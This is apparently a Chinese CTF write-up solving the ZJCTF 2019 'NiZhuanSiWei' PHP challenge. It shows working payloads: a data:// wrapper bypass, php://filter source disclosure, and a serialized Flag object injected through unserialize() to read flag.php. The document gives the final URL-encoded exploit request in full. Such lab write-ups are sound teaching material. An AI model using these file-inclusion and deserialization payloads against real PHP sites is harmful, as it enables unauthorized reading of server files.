跳转至

每日一题 —— [ZJCTF 2019]NiZhuanSiWei

题目地址:https://www.nssctf.cn/problem/22

打开题目,要求传入三个参数:text, file, password

首先是 file_get_contents($text,'r')==="welcome to the zjctf",说明我们需要让 text 参数被文件包含且含有内容 welcome to the zjctf。我们直接使用 data 协议即可:

?text=data://text/plain,welcome to the zjctf

第二步,需要使用 file 参数包含一个文件,已提示文件名为 useless.php。我们先利用 php://filter 伪协议,将它通过 base64 编码包含出来看一下源码:

&file=php://filter/convert.base64-encode/resource=useless.php

得到源码:

useless.php
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

可以看到,这个文件中,有一个类 Flag,其中会包含他的 $file 成员属性。但是只是一个类文件并没有什么用,我们需要利用他的反序列化特性,正好就在一开始的 index.php 中:

$password = unserialize($password);
echo $password;

正好,我们可以删掉之前的 base64 编码,让 useless.php 直接被包含进入源码解析,与原有的 $password 变量的反序列化操作配合,达到包含 flag.php 文件的目的。

首先先把准备好的 $password 变量准备好,先序列化一个:

evil.php
<?php  
class Flag{  //flag.php  
    public $file = "php://filter/convert.base64-encode/resource=flag.php";  
}  
$a = new Flag();
echo urlencode(serialize($a));

然后再配合之前的参数,最终 payload 如下:

?text=data://text/plain,welcome to the zjctf
&file=php://filter/resource=useless.php
&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D

注意 file 参数已经更改,没有 convert.base64-encode 编码了。

最后得到 flag.php 的文件源码的 base64 编码。直接解码即可。


文章热度:0次阅读